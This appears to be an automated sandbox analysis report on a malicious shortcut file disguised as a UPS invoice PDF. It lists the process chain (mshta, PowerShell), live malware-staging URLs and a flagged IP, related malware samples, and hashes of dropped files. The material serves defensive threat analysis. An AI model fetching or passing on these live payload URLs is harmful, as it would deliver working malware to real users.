https://nebulaquestcorporation.cc/cdnusa/upsinvoice.pdf	false	Avira URL Cloud: safe	unknown
https://nebulaquestcorporation.cc/cdnusa/invoiceupsstage	true	Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://nuget.org/NuGet.exe	powershell.exe, 00000007.00000002.1725282576.000001FB10073000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://sectigo.com/CPS0	powershell.exe, 00000007.00000002.1668722382.000001FB004B8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1668722382.000001FB004B0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1725282576.000001FB102FC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1725282576.000001FB10DFC000.00000004.00000800.00020000.00000000.sdmp, putty.exe.7.dr	false	URL Reputation: safe	unknown
https://nebulaquestcorporation.cc/cdnusa/invoiceupsstage...8	mshta.exe, 00000004.00000003.1790203146.0000023797681000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.1792575197.0000023797681000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.1782232696.0000023797681000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0	powershell.exe, 00000007.00000002.1725282576.000001FB102FC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1725282576.000001FB10DFC000.00000004.00000800.00020000.00000000.sdmp, putty.exe.7.dr	false	URL Reputation: safe	unknown
http://ocsp.sectigo.com0	powershell.exe, 00000007.00000002.1668722382.000001FB004B8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1668722382.000001FB004B0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1725282576.000001FB102FC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1725282576.000001FB10DFC000.00000004.00000800.00020000.00000000.sdmp, putty.exe.7.dr	false	URL Reputation: safe	unknown
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000007.00000002.1668722382.000001FB0022B000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe URL Reputation: safe	unknown
https://nebulaquestcorporation.cc/cdnusa/invoiceupsstage...w	mshta.exe, 00000004.00000003.1787060368.0000023F9A19E000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.1793563743.0000023F9A1A4000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.1788076442.0000023F9A1A1000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.1780951650.0000023F9A19E000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.1790777524.0000023F9A1A3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000007.00000002.1668722382.000001FB0022B000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://nebulaquestcorporation.cc/cdnusa/invoiceupsstage6	mshta.exe, 00000004.00000003.1782232696.00000237975FD000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.1792460496.00000237975FE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://nebulaquestcorporation.cc/cdnusa/putty.exep	powershell.exe, 00000007.00000002.1668722382.000001FB004B8000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://contoso.com/License	powershell.exe, 00000007.00000002.1725282576.000001FB10073000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://contoso.com/Icon	powershell.exe, 00000007.00000002.1725282576.000001FB10073000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://nebulaquestcorporation.cc/cdnusa/invoiceupsstagegs	mshta.exe, 00000004.00000003.1782232696.00000237975FD000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.1792460496.00000237975FE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crt.sectigo.com/SectigoPublicCodeSigningCAR36.crt0#	powershell.exe, 00000007.00000002.1725282576.000001FB102FC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1725282576.000001FB10DFC000.00000004.00000800.00020000.00000000.sdmp, putty.exe.7.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://crl.ver)	svchost.exe, 00000006.00000002.2769097256.00000253D7800000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://nebulaquestcorporation.cc/cdnusa/invoiceupsstageC:	mshta.exe, 00000004.00000002.1792396309.00000237975C0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.1792606600.00000237976B0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.1787859516.00000237976AF000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.1781945206.00000237976AE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://g.live.com/odclientsettings/ProdV2/C:	svchost.exe, 00000006.00000003.1556558495.00000253D7630000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.6.dr, edb.log.6.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://nebulaquestcorporation.cc/cdnusa/invoiceupsstageH	mshta.exe, 00000004.00000002.1792236967.0000023797580000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#	powershell.exe, 00000007.00000002.1725282576.000001FB102FC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1725282576.000001FB10DFC000.00000004.00000800.00020000.00000000.sdmp, putty.exe.7.dr	false	URL Reputation: safe	unknown
https://www.chiark.greenend.org.uk/~sgtatham/putty/0	powershell.exe, 00000007.00000002.1668722382.000001FB004B8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1668722382.000001FB004B0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1725282576.000001FB102FC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1725282576.000001FB10DFC000.00000004.00000800.00020000.00000000.sdmp, putty.exe.7.dr	false	URL Reputation: safe	unknown
https://github.com/Pester/Pester	powershell.exe, 00000007.00000002.1668722382.000001FB0022B000.00000004.00000800.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://nebulaquestcorporation.cc/	mshta.exe, 00000004.00000003.1782232696.000002379763A000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.1792460496.000002379763A000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://nebulaquestcorporation.cc/cdnusa/invoiceupsstagehttps://nebulaquestcorporation.cc/cdnusa/inv	mshta.exe, 00000004.00000003.1789392993.0000023F9FAA3000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://nebulaquestcorporation.cc/cdnusa/invoiceupsstageMI	mshta.exe, 00000004.00000002.1792396309.00000237975C0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.sectigo.com/SectigoRSATimeStampingCA.crl0t	powershell.exe, 00000007.00000002.1668722382.000001FB004B8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1668722382.000001FB004B0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1725282576.000001FB102FC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1725282576.000001FB10DFC000.00000004.00000800.00020000.00000000.sdmp, putty.exe.7.dr	false	URL Reputation: safe	unknown
https://g.live.com/odclientsettings/Prod/C:	edb.log.6.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://nebulaquestcorporation.cc/cdnusa/upsinvoice.pdf0	powershell.exe, 00000007.00000002.1668722382.000001FB0022B000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.sectigo.com/SectigoPublicCodeSigningCAR36.crl0y	powershell.exe, 00000007.00000002.1725282576.000001FB102FC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1725282576.000001FB10DFC000.00000004.00000800.00020000.00000000.sdmp, putty.exe.7.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://www.chiark.greenend.org.uk/~sgtatham/putty/	powershell.exe, 00000007.00000002.1725282576.000001FB102FC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1725282576.000001FB10DFC000.00000004.00000800.00020000.00000000.sdmp, putty.exe, putty.exe, 0000000C.00000002.2767723715.00007FF6786BA000.00000002.00000001.01000000.0000000E.sdmp, putty.exe, 0000000C.00000000.1637581496.00007FF6786BA000.00000002.00000001.01000000.0000000E.sdmp, putty.exe.7.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://nebulaquestcorporation.cc/cdnusa/invoiceupsstage...	mshta.exe, 00000004.00000003.1782232696.000002379763A000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.1792460496.000002379763A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://nebulaquestcorporation.cc/cdnusa/invoiceupsstageLE_STRINGj	mshta.exe, 00000004.00000002.1792262251.0000023797590000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crt.sectigo.com/SectigoRSATimeStampingCA.crt0#	powershell.exe, 00000007.00000002.1668722382.000001FB004B8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1668722382.000001FB004B0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1725282576.000001FB102FC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1725282576.000001FB10DFC000.00000004.00000800.00020000.00000000.sdmp, putty.exe.7.dr	false	URL Reputation: safe	unknown
https://contoso.com/	powershell.exe, 00000007.00000002.1725282576.000001FB10073000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://nuget.org/nuget.exe	powershell.exe, 00000007.00000002.1725282576.000001FB10073000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://nebulaquestcorporation.cc	powershell.exe, 00000007.00000002.1668722382.000001FB0022B000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://nebulaquestcorporation.cc/cdnusa/invoiceupsstage$global:?	powershell.exe	false	Avira URL Cloud: safe	unknown
https://nebulaquestcorporation.cc/cdnusa/invoiceupsstageYYC:	mshta.exe, 00000004.00000003.1780875436.0000023F9E0BE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://nebulaquestcorporation.cc/cdnusa/invoiceupsstage.	mshta.exe, 00000004.00000003.1782232696.00000237975FD000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.1792460496.00000237975FE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://aka.ms/pscore68	powershell.exe, 00000007.00000002.1668722382.000001FB00001000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://nebulaquestcorporation.cc/cdnusa/invoiceupsstagero	forfiles.exe, 00000001.00000002.1527302987.00000229F2D10000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000007.00000002.1668722382.000001FB00001000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://nebulaquestcorporation.cc/cdnusa/invoiceupsstage/I	mshta.exe, 00000004.00000003.1782232696.00000237975FD000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.1792460496.00000237975FE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://nebulaquestcorporation.cc/cdnusa/invoiceupsstagees#M	mshta.exe, 00000004.00000002.1792396309.00000237975E6000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
5.188.88.146	nebulaquestcorporation.cc	Russian Federation		34665	PINDC-ASRU	true
104.77.220.172	unknown	United States		16625	AKAMAI-ASUS	false

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1466029
Start date and time:	2024-07-02 12:46:12 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 10s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	21
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Invoice-UPS-218931.pdf.lnk.mal.lnk
Detection:	MAL
Classification:	mal100.evad.winLNK@27/54@1/3
EGA Information:	Successful, ratio: 33.3%
HCA Information:	Successful, ratio: 90% Number of executed functions: 46 Number of non-executed functions: 163
Cookbook Comments:	Found application associated with file extension: .lnk

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 184.28.90.27, 184.28.88.176, 18.207.85.246, 107.22.247.231, 54.144.73.197, 34.193.227.236, 162.159.61.3, 172.64.41.3, 95.101.54.195, 2.16.202.123, 2.19.126.149, 2.19.126.143, 2.22.242.11, 2.22.242.123
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, identrust.edgesuite.net, slscr.update.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, a1952.dscq.akamai.net, ocsp.digicert.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, prod.fs.microsoft.com.akadns.net, geo2.adobe.com, apps.identrust.com
Execution Graph export aborted for target mshta.exe, PID 4996 because there are no executed function
Execution Graph export aborted for target powershell.exe, PID 4620 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtEnumerateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
06:47:21	API Interceptor	2x Sleep call for process: svchost.exe modified
06:47:22	API Interceptor	1x Sleep call for process: mshta.exe modified
06:47:22	API Interceptor	37x Sleep call for process: powershell.exe modified
06:47:39	API Interceptor	1x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
5.188.88.146	MOD_200.pdf.lnk	Get hash	malicious	Arc Stealer	Browse
104.77.220.172	phish_alert_sp2_2.0.0.0.eml	Get hash	malicious	Unknown	Browse
	https://www.grosfichiers.com/qfurMCm3fdd	Get hash	malicious	Unknown	Browse
	#U75c5#U6bd2#U67e5#U6740#U5de5#U5177.exe	Get hash	malicious	Unknown	Browse
	Document PPS 430092.docx	Get hash	malicious	Unknown	Browse
	Comprobante.xla	Get hash	malicious	Unknown	Browse
	DHLR000698175.docx	Get hash	malicious	Unknown	Browse
	Payment advice.xls	Get hash	malicious	Unknown	Browse

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
PINDC-ASRU	MOD_200.pdf.lnk	Get hash	malicious	Arc Stealer	Browse	5.188.88.146
	http://www.thisisatest29475728.com/reply283/secure/start.php	Get hash	malicious	Unknown	Browse	91.215.85.79
	SecuriteInfo.com.Win64.RansomX-gen.22171.1307.exe	Get hash	malicious	Conti, PureLog Stealer, Targeted Ransomware	Browse	91.215.85.135
	http://tinyurI.com/bn229tan	Get hash	malicious	Unknown	Browse	5.188.88.20
	http://raablogistics.com	Get hash	malicious	Unknown	Browse	5.188.88.20
	https://apidevst.com/	Get hash	malicious	Unknown	Browse	5.188.88.20
	Ransom.exe	Get hash	malicious	Targeted Ransomware, TrojanRansom	Browse	91.215.85.135
	skid.mips.elf	Get hash	malicious	Gafgyt, Mirai	Browse	80.87.206.123
	skid.x86.elf	Get hash	malicious	Mirai, Gafgyt	Browse	80.87.206.123
	skid.mpsl.elf	Get hash	malicious	Gafgyt, Mirai	Browse	80.87.206.123
AKAMAI-ASUS	PG96120000311.pdf.lnk.mal.lnk	Get hash	malicious	Unknown	Browse	23.47.168.24
	https://us02web.zoom.us/webinar/register/6317193087387/WN_wbycs5lISL2eo8rEP6qUDg#/registration	Get hash	malicious	Unknown	Browse	23.50.131.159
	Absa.pdf	Get hash	malicious	HTMLPhisher	Browse	23.47.168.24
	PUGPDU-64096.docx	Get hash	malicious	HTMLPhisher	Browse	184.28.90.27
	Absa.pdf	Get hash	malicious	Unknown	Browse	23.47.168.24
	Roblox Account Manager.exe	Get hash	malicious	Unknown	Browse	92.122.18.57
	Roblox Account Manager.exe	Get hash	malicious	Unknown	Browse	92.122.18.57
	https://app.smartsheet.com/b/download/att/1/4551989320961924/a9qsrcukwyvga6dsz82rixnmpg	Get hash	malicious	HTMLPhisher	Browse	23.56.162.185
	https://worker-aliggggg.farnazmonsef1.workers.dev/	Get hash	malicious	Unknown	Browse	2.19.244.157
	https://cloudflare-workers-pages-vless-2gi.pages.dev/	Get hash	malicious	Unknown	Browse	2.19.104.10

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	IF10339.pdf.lnk.mal.lnk	Get hash	malicious	Unknown	Browse	5.188.88.146
	https://ddec1-0-en-ctp.trendmicro.com:443/wis/clicktime/v1/query?url=https%3a%2f%2faagt%2damx%2dmoodle%2dmex.com%2freport%2finsights%2faction.php%3faction%3duseful%26forwardurl%3dhttps%253A%252F%252Faagt%2damx%2dmoodle%2dmex.com%252Freport%252Finsights%252Fdone.php%253Factionvisiblename%253D%2525C3%25259Atil%2526target%253D%5fblank%26predictionid%3d1580&umid=dfe32622-5afa-43d1-bc88-1d0d19378d86&auth=b37f34d438b54d6822929a8430f2a42f374caac4-c52e46d07bf23779234fc7b6680559fd6de91ad8	Get hash	malicious	Unknown	Browse	5.188.88.146
	http://wiki.hoeron.com/doku.php?id=hoeron:kb:hardware:fortinet:2023-11-29-1701246124	Get hash	malicious	Unknown	Browse	5.188.88.146
	purchase order - PO-011024-201.exe	Get hash	malicious	AgentTesla	Browse	5.188.88.146
	https://scanner.topsec.com/?d=3744&r=auto&u=https%3A%2F%2Fmaknastudio.com%2Fpkyos&t=a4fe2e96fe6815a71cc8a7f1ae1196e6fbcf1f08	Get hash	malicious	HTMLPhisher	Browse	5.188.88.146
	https://scanner.topsec.com/?d=3744&r=auto&u=https%3A%2F%2Fmaknastudio.com%2Fpkyos&t=a4fe2e96fe6815a71cc8a7f1ae1196e6fbcf1f08	Get hash	malicious	HTMLPhisher	Browse	5.188.88.146
	3z5nZg91qJ.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	5.188.88.146
	http://url2530.tvsmotor.com/ls/click?upn=u001.smInq0-2BkNc5oRshkzMLE7U6zcio2-2F9zwu1ZIXUanV0NJI-2BOrcqj0f4SCu-2B-2BWZYRJ5WulbQ5i5mBsK1zXEak-2FiMRG64aR-2FUGiDgoHteplEfqii9y-2FZm8OviJTU1sjmz7jpaYlxIO-2FZqsCEMZLobIAuBKqKOl6jqYqSAHVwBkUZuGRzhvuesvLIb-2BOJaFEug0CxFHH8i5A3U7lzl-2BTzhlR6ei7mav1762I-2BKvT-2Fk6a5kJfjpj9RJPK9q48Ck5mSzSlgwV-2BsscO5sphM5t-2BVSr5yuCYcPokWOxF7VJFLVcuGxe55FXxdx2OWqy1uhpoEHKlprCsCZc7-2FzwTpK7gWkfISgE1dm3DNZag7jRcJoAY96XjRqTOiYZpVCYj4WczYZatXIFKlGImVUX-2BtzacIIXUkQ-3D-3Dxdxc_PRiWw-2BWerOwUL-2FYAA-2FiwxOm-2BJW3ubqhGFJ5iVqhmG217gfj9KgzNOSRNluvFvYbWIHUd-2ByAsKYpybXBhPgqT-2F1WfaNjyxdi-2FNqxuKfkiep8TocNXSydFj2bAYBLtB5MEDItgpH6g-2FV3171HTXrzYHtaSp7MB2B8WILdzxuyybTMsChhP3QdW9m4oU0X1zagLaXiyfnb7qkeR5CYT3FajfA-3D-3D	Get hash	malicious	Unknown	Browse	5.188.88.146
	QUOTATION_JULQTRA071244#U00faPDF.scr.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	5.188.88.146
	Ziraat Bankasi Swift Mesaji.exe	Get hash	malicious	GuLoader	Browse	5.188.88.146
37f463bf4616ecd445d4a1937da06e19	IF10339.pdf.lnk.mal.lnk	Get hash	malicious	Unknown	Browse	5.188.88.146
	Video%20HD%20%281080p%29.lnk.mal.lnk	Get hash	malicious	Unknown	Browse	5.188.88.146
	file.exe	Get hash	malicious	PureLog Stealer, Vidar	Browse	5.188.88.146
	1Bj6BoXV3z.exe	Get hash	malicious	CobaltStrike	Browse	5.188.88.146
	pDHKarOK2v.exe	Get hash	malicious	CryptOne, Vidar	Browse	5.188.88.146
	Revised Invoice 7389293.vbs	Get hash	malicious	GuLoader, Remcos	Browse	5.188.88.146
	Vyuctovani_2024_07-1206812497#U00b7pdf.exe	Get hash	malicious	Remcos, GuLoader	Browse	5.188.88.146
	Build.exe	Get hash	malicious	DBatLoader, Neshta	Browse	5.188.88.146
	F.exe	Get hash	malicious	AsyncRAT, Neshta, XWorm	Browse	5.188.88.146
	1719859269.0326595_setup.exe	Get hash	malicious	LummaC Stealer, Mars Stealer, PureLog Stealer, RedLine, Stealc, Vidar, Xmrig	Browse	5.188.88.146

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.8022017747623389
Encrypted:	false
SSDEEP:	1536:RJszRK0I9i0k0I9wXq0I9UGJC/PQJCmJCovVsnQ9Sii1GY9zOoRXTpMNYpKhvUAc:RJE+Lfki1GjHwU/+vVhWqpB
MD5:	D4B9E99AEB6B53719A43EFAD2B77B278
SHA1:	F1627A93A3E79D253D872EECA9018B020D72DE56
SHA-256:	56F4AF664C36457F97FBF8A8DB0AF427B496349912CCB6D759380911C1B63119
SHA-512:	28232FE794C3587C7B4FC3D3E9FE627B902DE4668C07424E6A6CCC69407BB2735A7F9170C79E58E8A0DD837CF988AA99F10258D726A7C7E130A380C261BAE4ED
Malicious:	false
Reputation:	low
Preview:	..Q^........@..@.....{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@.....................................3~L.#.........`h.................h.......1.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x12d8488c, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1048576
Entropy (8bit):	0.9433228177600054
Encrypted:	false
SSDEEP:	1536:7SB2ESB2SSjlK/ZvxPXK0I9XGJCTgzZYkr3g16zV2UPkLk+kY+lKuy9ny5zPOZ15:7azaHvxXy2V2UR
MD5:	B6B3296F945B555E07492434ED77B16A
SHA1:	232383EAC55C92CDF121CA6C5C0C62D849B12681
SHA-256:	1C136E61674DBCBED8BD16401D814EAF9B8276BA94D5F0BEF7188A183D181E7D
SHA-512:	D7D8EAD1037CF90F4D36EA5AD521EFED540F53B5AEE2E76BDD6BDE888DEA2E69796DE9FD8027B089727356B3A7ACDF48A66F21D51AF49593E53BF462D2AF5629
Malicious:	false
Reputation:	low
Preview:	..H.... ...............X\...;...{......................0.x...... ...{s../...\|..h.z.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ............{...............................................................................................................................................................................................2...{..................................:..y./...\|...................7U./...\|...........................#......h.z.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08099323468159275
Encrypted:	false
SSDEEP:	3:jN8YeH7Wsl/nqlFcl1ZUlllly//llallGBnX/l/Tj/k7/t:+zHisl/qlFclQ/lMtA254
MD5:	EA6CC3C13555976F6BC9921C31F2FFDD
SHA1:	904416D0DE24D2CF00786DE47728FD1142B79BED
SHA-256:	9F04BADB7CD5753E08D793397610778A3A540DB8D0C320CD2A842F68CA124B22
SHA-512:	D97F285FB77A657B92DF6FEDC696D8E1B416762F58EB05D73ACDD70F89E462E3C4390B2959FB617EF8493CE3FE4C753BEDF6A66ED29DD14BB5977C5F889B9552
Malicious:	false
Preview:	$.U......................................;...{.../...\|... ...{s.......... ...{s.. ...{s.P.... ...{s...................7U./...\|..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.211007898514494
Encrypted:	false
SSDEEP:	6:BOAqVDM+q2PCHhJ2nKuAl9OmbnIFUt84OAeVgZmw+4OAeVDMVkwOCHhJ2nKuAl91:EA6M+vBHAahFUt81AT/+1AuMV56HAaSJ
MD5:	749166A04034B8DDCFA6FF3189DF327D
SHA1:	0720838C052AC6DF7CA39B065B7D95981C05100E
SHA-256:	5145B185DF25F17FF5A7A31B152C6CD29F13387ECE379B0D06D3DBD2C408E42D
SHA-512:	BB2A36F57F32D412B167E96AE873D2D09969EC53A72C981F369A9D7C16ED7D68043B0CF46612BB3DA71873D973C29835BE3395EB1154B46A5B175F357A609584
Malicious:	false
Preview:	2024/07/02-06:47:26.631 1cfc Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2024/07/02-06:47:26.635 1cfc Recovering log #3.2024/07/02-06:47:26.635 1cfc Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.211007898514494
Encrypted:	false
SSDEEP:	6:BOAqVDM+q2PCHhJ2nKuAl9OmbnIFUt84OAeVgZmw+4OAeVDMVkwOCHhJ2nKuAl91:EA6M+vBHAahFUt81AT/+1AuMV56HAaSJ
MD5:	749166A04034B8DDCFA6FF3189DF327D
SHA1:	0720838C052AC6DF7CA39B065B7D95981C05100E
SHA-256:	5145B185DF25F17FF5A7A31B152C6CD29F13387ECE379B0D06D3DBD2C408E42D
SHA-512:	BB2A36F57F32D412B167E96AE873D2D09969EC53A72C981F369A9D7C16ED7D68043B0CF46612BB3DA71873D973C29835BE3395EB1154B46A5B175F357A609584
Malicious:	false
Preview:	2024/07/02-06:47:26.631 1cfc Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2024/07/02-06:47:26.635 1cfc Recovering log #3.2024/07/02-06:47:26.635 1cfc Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.179901915938386
Encrypted:	false
SSDEEP:	6:BOABAq2PCHhJ2nKuAl9Ombzo2jMGIFUt84OAimZmw+4OA6/kwOCHhJ2nKuAl9OmT:EAKvBHAa8uFUt81Aim/+1A6/56HAa8RJ
MD5:	86E9E93D59D4CDBE591FA91D764A0264
SHA1:	26F4316DFB67848C3BD3EADAE42EF56BDE401A75
